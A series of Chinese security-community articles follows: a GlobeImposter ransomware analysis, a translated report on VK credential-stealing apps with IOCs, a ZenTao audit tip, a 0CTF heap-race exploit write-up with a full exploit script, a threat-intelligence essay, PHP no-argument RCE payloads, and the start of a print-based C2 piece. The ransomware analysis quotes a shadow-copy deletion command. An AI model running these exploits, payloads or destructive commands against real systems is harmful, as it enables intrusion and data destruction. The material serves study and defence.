并传值0x80000041H给它，有了参数值0x80000041H，勒索病毒在加密文件时Windows系统就不会睡眠，当勒索病毒子进程完成加密后会再次调用SetThreadExecutionState函数并传值0x80000000。为了加大被破解的难度，该病毒代码的大部分字符串参数还有API部分都做了加密，当运行时再动态解密。再就是解密被排除在外的文件夹和文件扩展名，这个版本中该病毒设置了两个不被加密的列表，当病毒遍历受害者主机上的所有文件夹及文件时会跳过这两个列表中的文件夹和文件扩展名在该列表中的文件。以下是不会被加密的列表：
不会被加密的文件夹列表（共44个）：
Windows, Microsoft, Microsoft Help, Windows App Certification Kit, Windows
Defender, ESET, COMODO, Windows NT, Windows Kits, Windows Mail, Windows Media
Player, Windows Multimedia Platform, Windows Phone Kits, Windows Phone
Silverlight Kits, Windows Photo Viewer, Windows Portable Devices, Windows
Sidebar, WindowsPowerShell, Temp, NVIDIA Corporation, Microsoft.NET, Internet
Explorer, Kaspersky Lab, McAfee, Avira, spytech software, sysconfig, Avast,
Dr.Web, Symantec, Symantec_Client_Security, system volume information, AVG,
Microsoft Shared, Common Files, Outlook Express, Movie Maker, Chrome, Mozilla
Firefox, Opera, YandexBrowser, ntldr, Wsus, ProgramData.
不会被加密的文件扩展名（共170个）：
.$er .4db .4dd .4d .4mp .abs .abx .accdb .accdc .accde .accdr .accdt .accdw
.accft .adn .adp .aft .ahd .alf .ask .awdb .azz .bdb .bib .bnd .bok .btr .cdb
.cdb .cdb .ckp .clkw .cma .crd .daconnections .dacpac .dad .dadiagrams .daf
.daschema .db .db-shm .db-wa .db2 .db3 .dbc .dbf .dbf .dbk .dbs .dbt .dbv .dbx
.dcb .dct .dcx .dd .df1 .dmo .dnc .dp1 .dqy .dsk .dsn .dta .dtsx .dx .eco .ecx
.edb .emd .eq .fcd .fdb .fic .fid .fi .fm5 .fmp .fmp12 .fmps .fo .fp3 .fp4
.fp5 .fp7 .fpt .fzb .fzv .gdb .gwi .hdb .his .ib .idc .ihx .itdb .itw .jtx
.kdb .lgc .maq .mdb .mdbhtm .mdf .mdn .mdt .mrg .mud .mwb .myd .ndf .ns2 .ns3
.ns4 .nsf .nv2 .nyf .oce .odb .oqy .ora .orx .owc .owg .oyx .p96 .p97 .pan
.pdb .pdm .phm .pnz .pth .pwa .qpx .qry .qvd .rctd .rdb .rpd .rsd .sbf .sdb
.sdf .spq .sqb .sq .sqlite .sqlite3 .sqlitedb .str .tcx .tdt .te .teacher .tmd
.trm .udb .usr .v12 .vdb .vpd .wdb .wmdb .xdb .xld .xlgc .zdb .zdc
**重定位和启动组**
****
再往后，病毒进程会自复制到“ **%AllUserProfile%Public**
”路径下，并在受害者的Windows主机注册表中添加新文件到启动组中，这可以实现病毒在系统启动时自动执行。图3表示GlobeImposter病毒已经添加进了Windows注册表的启动组中（….RunOnceCerificatesCheck）。
图3 Windows注册表中的启动组
**准备工作**
****
为了防止受害者从磁盘区阴影复制服务中恢复被加密的文件，GlobeImposter病毒在一个可执行批处理文件中调用了
vssadmin.exe Delete Shadows /All /Quiet
以删除所有的阴影磁盘卷，在该批处理文件中又清理了保存在系统注册表中和 **%UserProfile%DocumentsDefault.rdp**
文件中的远程桌面信息，在文件加密工作完成后批处理文件又会被调用一次，图4展示了批处理文件的内容：
图4 批处理文件
下一步，该病毒会初始化加密相关的密钥、数据等，用2048位的RSA算法加密文件，密钥相关的部分数据保存在新创建的文件“
**%AllUserProfile%Public{hex numbers}** “中，{hex numbers}名来源于受害者主机的硬件信息。
**加密文件之前做了什么**
****
GlobeImposter病毒在加密文件之前会杀掉一些运行中的进程并产生一个html文件，这是开始加密文件之前的最后两步。该病毒通过调用
**taskkill.exe**
来杀掉运行中的名字包含”sql“、”outlook“、”ssms“、”postgre“、”1c“、”excel“、”word“等的进程，杀掉的这些进程可能会释放它们在使用的一些文件，这将导致GlobeImposter病毒会加密更多的文件。图5展示了以上过程的伪代码：
图5 杀掉匹配的进程
随后在文件被加密的文件夹下会产生一个HTML文件，该文件随后会被清除，这个HTML文件告知受害者系统文件已被加密并提供了如何支付以获取解密文件的方法，这个HTML文件包含一个私有ID和该可执行程序的解密信息。当你访问支付页面时这个私有ID会发往服务器，攻击者通过这个ID来识别你并生成解密密钥，图6是这个HTML文件内容的截图：
图6 RECOVER-FILES-726.html 内容
**加密文件进程**
****
当GlobeImposter病毒开始加密文件时，它会扫描受害者主机所有分区的文件并进行加密，当然之前提到的在被排除列表中的文件及文件夹不在加密范围之内，在读取文件后利用RSA算法开始加密文件内容并覆盖掉文件原来的内容，私有ID也会在被加密文件的内容里。图7展示了加密文件内容：
图7 加密的config.sys文件内容
GlobeImposter病毒会追加”..726“序号到每一个加密过的文件名来标识哪些文件进行过加密，下图8表明病毒将调用API
MoveFileExW来重命名加密文件。
图8 重命名加密文件
图9展示了python安装目录文件夹下被加密的文件（包括可执行文件）：
图9 python文件夹下被加密的文件
**RECOVER-FILES-726.html分析**
****
图10是RECOVER-FILES-726.html文件展示了如何进入支付页面：
图10 打开RECOVER-FILES-726.html文件
**解决方法**
****
通过以上分析我们了解了GlobeImposter病毒在受害者主机上下载并加密文件的过程，我们也发现很多JS样本正在扩散该勒索病毒，由于该病毒使用了2048位的RSA算法来加密文件因此在没有解密密钥的情况下很难解密那些被加密的文件。
1）JS文件中用于下载GlobeImposter病毒的URL已经被FortiGuard的web拦截服务列为“恶意网站“
2）JS文件被FortiGuard的反病毒服务识别为 **JS/GlobeImposter.A!tr**
3）下载的GlobeImposter病毒被FortiGuard的反病毒服务识别为 **W32/GlobeImposter.A!tr**
**病毒样本**
****
URL：
hxxp://wendybull.com.au/87wefhi??JWbXSIl=JWbXSIl
样本SHA256：
IMG_8798.js
3328B73EF04DEA21145186F24C300B9D727C855B2A4B3FC3FBC2EDC793275EEA
87wefhi.txt.exe
10AA60F4757637B6B934C8A4DFF16C52A6D1D24297A5FFFDF846D32F55155BE0 | 社区文章 |
# 针对vk.com的恶意软件仍在Google Play上肆意妄行
##### 译文声明
本文是翻译文章，文章原作者 Roman Unuchek，文章来源：securelist.com
原文地址：<https://securelist.com/still-stealing/83343/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
2015年10月，我们发表了一篇[博文](https://securelist.com/stealing-to-the-sound-of-music/72458/)介绍通过Google Play商店传播的一款流行的恶意软件。在接下来的两年中，我们在Google
Play上陆续检查到了几款类似的恶意应用，但在2017年10月及11月期间，我们在Google
Play上发现了85款新型恶意应用，这些应用可以窃取`VK.com`的凭据信息。卡巴斯基实验室产品将这些应用全部标记为`Trojan-PSW.AndroidOS.MyVk.o`。我们向Google报告了其中72款应用，官方从Google
Play商店上删除了这些恶意应用（另外13款应用已经从官方应用商店中移除）。此外，我们也将这些应用及相关技术细节一并报告给了`VK.com`。其中某款应用伪装成一款游戏应用，根据Google
Play商店的统计结果，该应用的安装量已超过100万次，如下图所示。
图1. 伪装成游戏应用的某款 _Trojan-PSW.AndroidOS.MyVk.o_ 恶意应用
## 二、技术细节
这些恶意应用中还包含一些非常流行的应用，根据Google
Play的统计结果，其中有7款应用的安装量为10,000-100,000次，9款应用的安装量为1,000-10,000次。剩下的所有应用安装量均小于1,000次。
图2. Google Play商店中发现的 _Trojan-PSW.AndroidOS.MyVk_ 恶意应用
这些应用中，大部分于2017年10月上传至Google
Play，但其中有几款的上传时间为2017年7月，因此这些应用传播的时间跨度已长达3个月。此外，最受欢迎的那款应用最初于2017年3月上传到Google
Play商店中，但当时该应用不包含任何恶意代码，只是单纯的游戏应用。网络犯罪分子在2017年10月份将该其更新为恶意应用，他们的等待时间长达7个月，非常有耐心。
这些应用中，表面看上去大部分是为`VK.com`开发的应用，用户可以通过这些应用收听音乐或者查看用户页面访问记录（以随时随地和好友保持联络）。
图3. Google Play商店中发现的 _Trojan-PSW.AndroidOS.MyVk.o_ 恶意应用
当然，这类应用会要求用户登录账户，这也是这些应用看起来并不可疑的原因所在。这些应用中只有一款应用是与VK无关的游戏应用。由于VK在CIS（独联体）国家中非常流行，因此网络犯罪分子会检查设备语言环境，只有发现设备环境匹配特定的几种语言时才会要求用户输入凭据信息，这些语言为：俄语、乌克兰语、哈萨克语、亚美尼亚语、阿塞拜疆语、白俄罗斯语、吉尔吉斯斯坦语、罗马尼亚语、塔吉克语以及乌兹别克语。
图4. 木马中检查设备语言的代码片段
犯罪分子通过Google Play来传播恶意软件已超过两年多时间，因此他们必须修改应用代码以绕过官方检测机制。在这些应用中，犯罪分子使用了修改版的VK
SDK以及一些“巧妙”的代码来完成这一任务：用户登录的的确是正常页面，但犯罪分子使用了恶意的JS代码从登录页面中窃取凭据信息，并将这些信息传递回应用程序。
图5. 木马执行JS代码以获取VK凭据信息
随后，恶意应用加密这些凭据信息，将其上传至恶意站点。
图6. 木马解密恶意URL，加密并上传已窃取的凭据信息
有趣的地方在于，虽然这些恶意应用的功能特点与前面介绍的相符，但其中一些应用稍有不同：这些应用在`OnPageFinished`方法中同样使用了恶意JS代码，这些代码不仅负责提取VK凭据信息，也可以上传这些信息。
图7. 某个木马执行JS代码以提取并上传VK凭据信息
我们认为网络犯罪分子主要使用窃取的凭据信息来推广`VK.com`中的小组（group）。他们悄悄添加用户到小组中，以推广各种小组，提高这些小组的知名度。我们之所以得出这个结论，原因之一在于被感染的某些用户曾经抱怨过他们的账户被悄悄添加到这些小组中。
另一个原因是，我们在Google Play上找到了其他几款应用，这些应用的发布者与`Trojan-PSW.AndroidOS.MyVk.o`的发布者为同一波人。这些应用伪装成Telegram的非官方客户端（Telegram是一款流行的聊天应用）。卡巴斯基实验室将这些应用全部标记为`not-a-virus:HEUR:RiskTool.AndroidOS.Hcatam.a`。我们向Google报告了这些应用，随后他们从Google
Play商店中删除了这些应用。
图8. Google Play商店中被 _not-a-virus:HEUR:RiskTool.AndroidOS.Hcatam.a_ 感染的应用
这些应用不单单是伪装成Telegram应用那么简单，实际上这些应用使用了开源的[Telegram
SDK](https://github.com/DrKLO/Telegram)来开发，与其他类似应用非常类似，但有一点不同：这些应用会将用户添加到推广的群组（groups）或者聊天频道（chats）中。应用程序会收到服务器返回的群组或聊天频道列表。此外，这些应用可以随时将用户添加到群组中，为了做到这一点，应用窃取了一个GCM令牌，网络犯罪分子可以通过该令牌7×24小时不间断发送控制命令。
关于`extensionsapiversion.space`这个恶意站点，我们还发现了一个有趣的信息。根据KSN的统计结果，在某些情况下，该网站还会使用[http://coinhive.com](http://coinhive.com/)的API来提供加密货币（cryptocurrency）挖矿服务。
## 三、IOC
**C2服务器地址**
extensionsapiversion.space
guest-stat.com
**应用哈希**
包名 | MD5
---|---
com.parmrp.rump | F5F8DF1F35A942F9092BDE9F277B7120
com.weeclient.clientold | 6B55AF8C4FB6968082CA2C88745043A1
com.anocat.stelth | C70DCF9F0441E3230F2F338467CD9CB7
com.xclient.old | 6D6B0B97FACAA2E6D4E985FA5E3332A1
com.junglebeat.musicplayer.offmus | 238B6B7069815D0187C7F39E1114C38
com.yourmusicoff.yourmusickoff | 1A623B3784256105333962DDCA50785F
com.sharp.playerru | 1A7B22616C3B8223116B542D5AFD5C05
com.musicould.close | 053E2CF49A5D818663D9010344AA3329
com.prostie.dvijenija | 2B39B22EF2384F0AA529705AF68B1192
com.appoffline.musicplayer | 6974770565C5F0FFDD52FC74F1BCA732
com.planeplane.paperplane | 6CBC63CBE753B2E4CB6B9A8505775389 | 社区文章 |
偶尔会收到邮件、微博还有博客来咨询，说在代码审计的时候总感觉程序比较乱，读不懂框架，理不清思路，发现了一段漏洞代码，但是不知道怎么去找到漏洞利用点（请求哪个URL、提交什么数据），这是因为你对这套程序的大框架还不够熟悉，对程序执行流程理解不透彻。
既然这么多人反馈，那我就简单说一下我的方式： **利用思维导图** 。
思维导图是个很好的东西，我在思考各种事情、写复杂程序等等各种场景都会用上这个东西，当然代码审计的时候也会用到，因为它能帮我很快熟悉框架，并且记录可能出现安全问题的地方。如下图所示
这是在审计禅道时弄的一个简单思维导图，禅道这套系统一共审计出来了几十个漏洞利用点，包括免登录注入和getshell。
可以看到我的这个思维导图，里面包括以下因素：
1、程序执行过程（URL怎么解析、首先调用哪些文件等等）
2、重要配置文件
3、模块解释
4、出现问题的点（用红旗标记）
5、代码备注
这样一来我们对程序的框架就会一览无余，思路自然清晰。
还有一个问题是关于：怎么挖掘免登陆的漏洞？
程序自然会检测权限，就像我这个思维导图里面写的禅道一样，common模块的isopenmethod()函数检查权限，哪些模块可以不用登陆或者低权限可访问
public function isOpenMethod($module, $method)
{
if($module == ‘user’ and strpos(‘login|logout|deny|reset’, $method) !== false) return true;
if($module == ‘api’ and $method == ‘getsessionid’) return true;
if($module == ‘misc’ and $method == ‘ping’) return true;
if($module == ‘misc’ and $method == ‘checktable’) return true;
if($module == ‘misc’ and $method == ‘qrcode’) return true;
if($module == ‘misc’ and $method == ‘about’) return true;
if($module == ‘misc’ and $method == ‘checkupdate’) return true;
if($module == ‘misc’ and $method == ‘changelog’) return true;
if($module == ‘sso’ and $method == ‘login’) return true;
if($module == ‘sso’ and $method == ‘logout’) return true;
if($module == ‘sso’ and $method == ‘bind’) return true;
if($module == ‘sso’ and $method == ‘gettodolist’) return true;
if($module == ‘block’ and $method == ‘main’) return true;
if($this->loadModel(‘user’)->isLogon() or ($this->app->company->guest and $this->app->user->account == ‘guest’))
{
if(stripos($method, ‘ajax’) !== false) return true;
if(stripos($method, ‘downnotify’) !== false) return true;
if($module == ‘tutorial’) return true;
if($module == ‘block’) return true;
if($module == ‘product’ and $method == ‘showerrornone’) return true;
}
return false;
}
从代码中可以看到，主要是’user’ 、’api’ 、’misc’ 、’sso’ 以及’block’ 模块的部分函数无需登陆就可以访问，$module
代表模块，$method代表函数，那我们就可以把这些函数都看一遍，看是否存在可利用的漏洞。 | 社区文章 |
# 0CTF 2019 zero_task条件竞争利用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1.前言
0CTF2019 pwn题zerotask，难度在pwn题里最低，漏洞类型条件竞争。
## 2.题目保护
全保护开启
## 3.题目功能
题目实现了一个加密解密的功能，共有三个功能项。
1.创建任务 2.删除任务 3.执行任务
### a.创建任务
该功能创建一个0x80大小的结构体。暂时命名为task
task{+0x00, data +0x08, data_size
+0x14 ,KEY +0x34 IV
……..
+0x58 EVP_CIPHER_CTX
+0x60 task_id +0x68 单链表指针
}
要求输入为task_id(任务id)，加密或解密,KEY(32字节)，IV(16字节)，DATA_SIZE(要加密或解密的数据长度)，DATA（要加密或解密的数据）。
会根据DATA_SIZE malloc出对应大小的空间。DATA_SIZE<4096
同时EVP_CIPHER_CTX_new（）函数会创建一个EVP_CIPHER_CTX 对象。
功能1，会顺序创建四个堆块。
结构体task 0x80大小
EVP_CIPHER_CTX 对象，0xb0大小
EVP_CIPHER_CTX 对象创建的堆块 0x110大小。
根据DATA_SIZE分配的堆块。大小<0x1000
### b.删除任务
根据task_id及单链表删除指定结构体。
### c.执行任务
根据task_id寻找到对应task结构，并根据task结构实现加密或解密，加密或解密后的数据保存在提前定义好的一处堆块中。
输出加密或解密后的内容。调用限制三次
线程启动后sleep(2).存在明显的条件竞争问题。
## 3.地址泄露
通过条件竞争实现地址泄露。
执行任务线程传入参数为task结构体地址。
利用思路：例如
提前free掉task2。调用功能3加密task1.在线程sleep期间，free掉task1.task1结构会进入tcache链表，+0x00的位置会被改写为另一个提前free的task2结构。同时若task1
中的DATA_SIZE足够大，则会将task2的结构内容及EVP_CIPHER_CTX 对象，EVP_CIPHER_CTX
对象创建的堆块，根据task2，DATA_SIZE分配的堆块全部加密输出。
将输出再重新新建一个任务保持相同密钥解密，可以实现地址泄露。
利用难点及克服方法:
1.程序给的libc为2.27版本，存在tcache机制，泄露时要求task结构体free后进入tcache链表，根据DATA_SIZE分配的堆块进入unsorted_bin链表。由于只有一次泄露
的机会必须将heap地址和libc地址一并泄露。分配方法，DATA_SIZE设置为0x110同EVP_CIPHER_CTX
对象创建的堆块大小一致，创建4个后释放。此时共释放了4个0x80
大小堆块。8个0x110大小堆块。
2.如上例再free task1后EVP_CIPHER_CTX
对象会被释放。导致加密出现异常。若重新创建任务会导致task1结构体被重新malloc。克服方法。
free(1)
free(2)
free(3)
ad(0xa0)
ad(0x8)
EVP_CIPHER_CTX
对象为0xb0大小，共创建了2个0x80结构，3个0xb0结构。此时task1结构未被malloc，里面的EVP_CIPHER_CTX 对象被重新创建。
EVP_CipherUpdate为加密函数。rdi为EVP_CIPHER_CTX对象，rcx为被加密数据的堆块。r8为加密大小。可以看到加密数据中已包含堆地址及libc地址。
## 4.代码执行
有了libc地址需要找到办法控制程序流程跳转到one_gadget，但是程序功能中未找到可用的内存写功能。加密及解密的数据都放在了一个提前定义好的堆块中。
条件竞争并不能帮助我们写地址。
通过追踪程序加密函数EVP_CipherUpdate,根据EVP_CIPHER_CTX 对象+0x10数据判断加密还是解密。
我选择跟进加密流程EVP_EncryptUpdate。里面有一处相对调用。这里将EVP_CIPHER_CTX +0x0结构随意命名为E。
程序会调用E结构+0x20处的指，前提是通过test，[e+0x12],0x10。利用方法就一目了然了，通过条件竞争重新分配EVP_CIPHER_CTX对象，使其E结构指向一处堆块。
在堆块中布局使[E+0x20]指向one_gadget即可完成利用。
free（1）
free(2)
ad(‘0xa0’)
## 5.脚本
from pwn import *
import time
p=process('./task')
e=ELF('./libc-2.27.so')
#p=remote('111.186.63.201',10001)
p.readuntil('Choice:')
context(log_level='debug')
def ad(a,b,c,d,e,f):
p.writeline('1')
p.readuntil('Task id :')
p.writeline(a)
p.readuntil('Encrypt(1) / Decrypt(2):')
p.writeline(b)
p.readuntil('Key :')
p.write(c)
p.readuntil('IV :')
p.write(d)
p.readuntil('Data Size :')
p.writeline(e)
p.readuntil('Data')
p.write(f)
p.readuntil('Choice:')
def de(a):
p.writeline('2')
p.readuntil('Task id :')
p.writeline(a)
p.readuntil('Choice:')
def go(a):
p.writeline('3')
p.readuntil('Task id :')
p.writeline(a)
p.readuntil('Choice:')
for i in range(0,4):
ad(str(i),'1','a'*32,'a'*16,'256','1'*256)
ad('20','1','a'*32,'a'*16,'592','1'*592)
ad('21','1','a'*32,'a'*16,'8','1'*8)
ad('22','1','a'*32,'a'*16,'8','1'*8)
ad('23','1','a'*32,'a'*16,'8','1'*8)
ad('24','1','a'*32,'a'*16,'8','1'*8)
for i in range(0,4):
de(str(i))
go('20')
de('20')
de('21')
de('22')
ad('21','1','a'*32,'a'*16,'160','1'*160)
ad('22','1','a'*32,'a'*16,'8','1'*8)
p.readuntil('Ciphertext: n')
st=''
for i in range(0,38):
q=0
for ii in range(0,16):
zzz=p.read(3)
zz=chr(int(zzz[0:2],16))
st+=zz
if 'n'in zzz:
q=1
break
if q==0:
p.read(1)
ad('66','2','a'*32,'a'*16,str(len(st)),st)
go('66')
p.readuntil('Ciphertext: n')
z=p.readuntil('20 ')
z=chr(0x20)
for i in range(0,7):
z+=chr(int(p.read(3)[0:2],16))
heap=u64(z)-0x980+0x7b0+0x100-0x850+0x10a0
p.readuntil('11 01 ')
z=p.readuntil('na0 ')
z=chr(0xa0)
for i in range(0,7):
z+=chr(int(p.read(3)[0:2],16))
libc=u64(z)-4111776
one=libc+0x10a38c
success(hex(libc))
success(hex(heap))
gdb.attach(p)
go('22')
de('22')
de('23')
ad('23','1','a'*32,'a'*16,'160',p64(heap)+'1'*120+p64(one)*4)
success(hex(heap))
success(hex(libc))
p.interactive() | 社区文章 |
#### Author: elknot@360corpsec
* * *
## 0x00 前言
其实这篇文章在昨天构思的时候就已经想到了，但是为什么过段时间才放出来，是因为看到了b1z0n大佬写的那篇文章，于是准备把这篇文章的结构完善一下然后写出来。
其实上篇文章在基础设施威胁情报里面，我们干的事情很大一部分都是在将资产与威胁情报结合来看，那么这么做，实际上是为了怕一种情况而来——突发的信息安全事件，这个事件可能是比较大规模的公共类型事件，也可能是小规模爆发黑产性质的事件，前者的最佳案例就是上半年WannaCry肆虐全球，后者最佳案例就是12月底的Weblogic挖矿事件。换句话说，事件情报实际上就是为了迅速确定事件对我方的影响程度和如何缓解或彻底解决事件对我们产生的影响。如果等被搞了之后再来做方案，估计，有可能等你反应过来的时候就有可能全军覆没了。
## 0x01 事件威胁情报在内网中运用
所谓事件威胁情报实际上是把威胁情报按照事件的相关程度聚类获得的威胁情报，其实很多威胁情报商都会提供这种类型的情报，有些是作为公众服务来将与之相关的威胁情报元素（可以是IP地址、可以是MD5、可以是邮件内容、也可以是预警通告什么的，总之就是和这件事情相关的一切可检索的信息）聚合称为事件情报，然后对外输出。而有些则是以社区的方式来输出这些情报，聚集社会的力量来查一个事件。最好的两个例子就是国内改版后的微步在线x.threatbook.cn（这里不知道是什么原因，因为我不想看Mac上的访达而是想看Finder，所以把区域和语言做了切换，然后我再打开微步的时候发现这个版块突然没了，估计是按照区域做了限制）和国外的AlienVault。
我们其实在使用这些已经公开的事件情报的时候，最重要的事情是抢时间，也就是说我们在这些情报刚出来的时候立刻就能监测到相关的信息和情报，这样的话我们就有足够多的时间去部署防御措施和持续追踪事态发展。威胁情报相对于网络安全而言，完完全全就是军事上的情报和战略制定的关系。假设在打仗中如果我们收到了准确可靠情报说敌军现在没有在城中部署大规模的防守力量，只留下了部分残兵在守城，这个时候我们就可以放心大胆的攻城了，如果你没有收到相关的情报，这个时候你是无论如何也不敢放开胆子大干一场的，当然如果派尖兵过去看一下这个也算获得情报的一种途径了。
刚才扯远了，继续说情报时效性和我们安全运营的关系。结合PDR模型和安全防御生命周期来看的话，如果我们情报部署得当，在攻击影响到我方前就已经部署了相关的防护措施，实际上我们是仅需要对我们系统进行持续化监控，一旦检测到触发了相关的IOC，立刻进入响应缓解，下线受影响资产。
那么在时间这个维度上看的话，实际上我们获得相关情报的时间越长，检测规则就会越快部署，也就可以更早的发现该事件对我方基础设施的影响，一旦发现影响，应急响应团队立刻跟进，这样的话就能更快的去消灭该事件造成的影响，从而保护我们。
而站在安全防御生命周期的角度上来看的话，各个阶段可以部署相对应的威胁情报种类。下面这张图大概了情报部署的阶段和来源，首先对于某个事件的监控一定是持久化的，尤其是高级威胁这种持续时间长危害性大的事件，在监控的同时也需要吧情报信息匹配到现有的安全日志，诸如终端Agent日志、流量DPI日志、系统设备日志、远程登录日志等等。
如果要是想匹配一些威胁情报数据，但是安全设备的规则厂商又没更新，这个时候可以考虑部署一个轻量级IDS，放到传统的IDS、WAF这些安全检测设备之后。
## 0x02 事件情报的持续追踪
这里就需要谈到一个持续追踪的问题，
因为有些互联网安全事件不像公开事件这种引起全球恐慌的世界大战，而是小规模的针对特定行业的，这个时候我们就需要对事件进行持续化跟踪。那么这个时候跟踪这些小规模事件，就需要一些特殊的情报源，比如说微信群（有时候刷微信真的比什么泰式感知有用得多）、朋友圈这种社交属性的，因为有时候大家很容易碰到一拨人再搞，比如这次weblogic事件，当时我们发现不止一个受害者都是因为weblogic的漏洞然后在一些微信群里，这样的话当我们发现一个话题被讨论很多次而且又带有很大共性的时候，这可能就是一个小规模事件爆发的前兆。现在网络安全大规模爆发某种安全事件的可能性不是很大，正如同现在再来一次世界大战的可能性一样，反而是小规模的地区冲突爆发的非常频繁，巨头们可能不会在意这些问题，但是在一些安全体制不健全的企业里面，这个时候会不会来一波攻击，这个可说不好。如果很幸运的躲过了这一次攻击，那么下一次你还会躲过么，这个时候就需要对某些事件进行持续性的观察了，当然不是让专人去盯，微信机器人，爬虫什么的都可以用起来。
## 0x03 推荐的事件情报源
这段时间一直在致力于情报源的收集，其实好用的情报源就那么几个，个人比较推荐国内的微步在线（大品牌你懂得），国外的IBM X-Force
Exchange、Alienvault OTX、Emergency Threat
Pro、Snort这些，这些厂商已经把一些时间打包并持续性跟踪了，所以用起来相对容易。当然还有一些blog性质的研究比如cisco talos、palo
alto Network unit42、IBM Security、TrendMicro
Intelligence、Securelist这些blog，不定时也会推送一些安全事件的分析报告和信息。当然我这个肯定不全，欢迎大家补充。
## Reference
<http://hiphotos.baidu.com/_wang8/pic/item/826d41f3d7ca7bcba4edaa95be096b63f724a85e.jpg> | 社区文章 |
## 前言
最近参加了两个CTF比赛，都遇到了无参数RCE的问题。第一次遇到虽然没解出来，但是为第二次比赛遇到做了基础铺垫，第二次也迎刃而解，同时这次比赛也学到了很多fuzz的方法和思路，在这里做个总结。
## 题目
<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if (!empty($code)) {
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
else {
echo "No way!!!";
}
}else {
echo "No way!!!";
}
* **题目分析**
* 从题目第一个正则（`[a-z]+\((?R)?\)`）只匹配`字符串+（）`的类型，并且括号内为空字符串仅可以由26个小写字母组成。我们再看代码，`preg_replace()`函数对匹配成功的字符串替换为NUILL，如果剩下的职业`(;)`那么就会通过这个正则。我们用一个代码来测试，我们传两个参数然后对这两个参数进行替换后打印看剩下的是什么值，就能很直观的看到这一点。
* 我们分别传入了`echo();`、`echo(122);`和`echo(phpinfo())`,可以看到参数一最终替换剩下一个`(;)`分号，而参数二无法匹配成功替换失败，参数三是echo嵌套一个phpinfo函数，同样匹配成功替换剩下一个`(;)`分号。那么这里就说明了我们这个正则虽然不能能够匹配存在参数的函数，但是可以嵌套函数使用。
* 题目第二个正则`(readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log)`过滤了哪些函数呢，这个我们可以直接编写两个脚本进行FUZZ,第一个脚本可以获取PHP中所有内置函数，将它写到一个文本文件中。第二个python脚本则是匹配能够使用的函数，并将其打印出来，这样一来我们就知道有哪些函数能够为我们所用。
* 获取PHP内置函数
<?php
$a = get_defined_functions()['internal'];
$file = fopen("function.txt","w+");
foreach ($a as $key ) {
echo fputs($file,$key."\r\n");
}
fclose($file);
?>
* 查找能使用的函数
import re
f = open('function.txt','r')
for i in f:
function = re.findall(r'/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/',i)
if function == [] and not '_' in i:
print(i)
* **构造payload-解决问题**
* 首先题目出题人用了他工地英语(开个玩笑)提示了我们flag在上层目录下的`index.php`，那我们就需要读取上层目录下的`index.php`的源码,我们知道`scandir()`函数式能够读取源码，但是他必须带有参数`（'.'）`也就是`scandir('.')`，在不断阅读函数中我发现`uniqid()`函数能够生成动态的字符串，但是他前半部分是固定不变的，但是后半部分是动态变化的，正好`strrev()`函数也可以使用那么，我们就可以将它翻转过来然后直接转换转换为char不久可以动态构造任意字符了吗？发现这点，我立刻写了个脚本去验证我的想法。
<?php
error_reporting(0);
for($i=0;$i<1000;$i++)
echo(chr(strrev(uniqid())));
?>
* 从脚本的运行结果来看已经达到了预期目的，生成了`(.)`点，那么我们通过条件竞争就可以达到预期目的。那么我们构造如下payload去读取文件目录看是否能成功,由于scandir返回的是数组，并且var_dump是无法通过第一个正则的，所以我们可以使用`implode()`将数组转换为字符串在`echo()`打印出来。
echo(implode(scandir(chr(strrev(uniqid())))));
* 我们传参后使用burpsuite进行条件竞争,可以看到成功获取文件目录。
* 那么问题又来了，我们该如何去读取上层目录的index.php呢？首先我们要读取上层目录的文件，必须先跳转到上层目录，这里我们从我们脚本匹配的结果看`chdir()`函数并未被过滤，所以我们可以使用它先跳转到上层目录再去读取文件，但是要跳转到上层目录需要构造两个点即`chdir('..')`那么该如何构造呢，其实很简单，我们看上方返回了当前目录下的文件列表，其实它是返回来了一个数组，这个数组结构如下：
[0=>'.',1=>'..',3=>'index.php']
* 我们可以发现第二个元素就是两个点，我们可以使用`next()`函数去获取到这两个点。我们先根据此读取到上层目录列表构造payload如下：
echo(implode(scandir(next(scandir(chr(strrev(uniqid())))))));
* 传入这个payload再使用burpsuite进行条件竞争,可以发现已经读取了上层目录列表。
* 可以发现index.php是在这个目录列表数组中的最后一个元素,那么我们要读取这个文件名直接读取这个数组中的最后一个元素即可，这里我们可以使用`end()`函数获取，我们先跳转到上个目录：
chdir(next(scandir(chr(strrev(uniqid())))))
* 读取文件呢，我们可以使用第一个payload读取到文件目录，然后使用end()函数去读取最后一个元素，进而读取文件这里我们使用file()函数去读取文件。
file(end(scandir(chr(strrev(uniqid()))))
* 那么综合起来payload如下：
echo(implode(file(end(scandir(chr(strrev(uniqid(chdir(next(scandir(chr(strrev(uniqid())))))))))))));
* 但是这里存在一个问题，那就是两次去的值不一定都是点，那么就需要进行N次爆破，在某一时刻这两个值都取到点的时候那么就会读取成功。
* 当然最后官方payload是使用三角函数去算出这个点，但是这里主要是将以下我个人的想法，也希望这道题的解题思路，可以帮助到其他人。
## 总结
* 这道题可以说是上次`ByteCTF-boringcode`的plus，但是题目不在多更多的是要掌握Fuzz的方法，从这次比赛中我也了解到了无参数函数的利用，其实无参数RCE的用法很多师傅都做了很多总结，但是我们在遇到问题时候可能出题人已经将这些网上公开的方法给ben掉了，这时候就需要我们去Fuzz去分析。 | 社区文章 |
# 基于打印机跳板技术的新型C2及其检测方法（上篇）
|
##### 译文声明
本文是翻译文章，文章原作者 Alfie Champion, James Coote，文章来源：labs.f-secure.com
原文地址：<https://labs.f-secure.com/blog/print-c2/>
译文仅供参考，具体内容表达以及含义原文为准。
在本文中，我们将为读者介绍基于打印机跳板技术的新型C2及其检测方法。
## 引言
在本文中，我们不仅会为读者详细介绍基于打印作业的新型Command &
Control（C2）的工作原理，以及基于C3的打印通道的实现方法；同时，我们还探讨了与这种技术相关的OPSEC事项，并概述了相关的检测方法。
